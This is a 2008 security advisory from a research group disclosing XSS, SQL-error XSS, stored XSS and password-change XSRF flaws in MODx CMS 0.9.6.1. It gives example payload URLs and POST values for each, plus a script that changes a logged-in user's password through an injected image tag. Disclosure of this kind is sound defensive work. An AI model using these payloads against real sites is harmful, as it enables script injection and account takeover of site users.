Digital Security Research Group [DSecRG] Advisory       #DSECRG-08-013


Application:                    MODx CMS
Versions Affected:              0.9.6.1, 0.9.6.1p1
Vendor URL:                     http://modxcms.com/
Bugs:                           XSS, SiXSS, stored XSS, Change User Password XSRF Vulnerability.
Exploits:                       YES
Reported:                       11.01.2008
Vendor response:                11.01.2008
Updated Report:                 29.01.2008
Vendor response:                none
Solution:                       none
Date of Public Advisory:        07.02.2008
Authors:                        Alexandr Polyakov, Stas Svistunovich
                                Digital Security Research Group [DSecRG] (research [at] dsec [dot] ru)



Description
***********

MODx system has multiple security vulnerabilities:

1. Linked XSS
2. Linked SiXSS
3. XSS in POST
4. Stored XSS in POST
5. Change User Password XSRF Vulnerability



Details
*******


1. Multiple linked XSS vulnerabilities found. Attacker can inject XSS in URL string.


1.1 Linked XSS vulnerability found in manager/index.php. GET parameter "search"

Search string is available in pages:

http://[server]/[installdir]/manager/index.php?a=75

http://[server]/[installdir]/manager/index.php?a=84

http://[server]/[installdir]/manager/index.php?a=99

http://[server]/[installdir]/manager/index.php?a=106

http://[server]/[installdir]/manager/index.php?a=114


Example:

http://[server]/[installdir]/manager/index.php?a=75&search="><IMG SRC="javascript:alert('DSecRG XSS')

http://[server]/[installdir]/manager/index.php?a=84&search="><IMG SRC="javascript:alert('DSecRG XSS')


1.2 Linked XSS vulnerability found in index.php. GET parameter "highlight"

Example:

http://[server]/[installdir]/index.php?searched=modx&highlight="><IMG SRC="javascript:alert('DSecRG XSS')

------------------------------------------------------------------------------


2. Multiple linked SiXSS vulnerabilities found. Attacker can inject XSS code in SQL Error.


2.1 Vulnerability found in script manager/index.php. GET parameter "a"

Example:

http://[server]/[installdir]/manager/index.php?a='<img src="javascript:alert('DSecRG XSS')">


2.2 Vulnerability found in script index.php. GET parameter "id"

Example:

http://[server]/[installdir]/index.php?id='<img src="javascript:alert('DSecRG XSS')">

-------------------------------------------------------------------------------


3. XSS in POST, attacker can inject XSS in POST parameter


3.1 Vulnerability found in script index-ajax.php. 

POST parameters "docgrp" and "moreResultsPage".

Example:

moreResultsPage = "><IMG SRC="javascript:alert('DSecRG XSS')">


3.2 Vulnerability found in script index.php. 

POST parameters "email", "name" and "parent".

Example:

name = " style="background:url(javascript:alert('DSecRG XSS'))

-------------------------------------------------------------------------------


4. Vulnerability found in script manager/index.php?a=10 

POST parameters "messagesubject" and "messagebody".

Attacker can comprose message with script code in subject and message body.

-------------------------------------------------------------------------------


5. Change User Password XSRF Vulnerability

Previous password not required to set a new password.

Using XSS vulnerabilities, attacker can include following code to change user password:

_______________________________________________________________________________

<IMG%20SRC=`javascript:var%20objHTTP%20=%20new%20ActiveXObject('MSXML2.XMLHTTP');%20objHTTP.open('POST',"http://[server]/[installdir]/manager/index.php?a=34",false);%20objHTTP.setRequestHeader('Content-Type',%20'application/x-www-form-urlencoded');%20objHTTP.send("pass1=123456%26pass2=123456");`>
_______________________________________________________________________________



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*****

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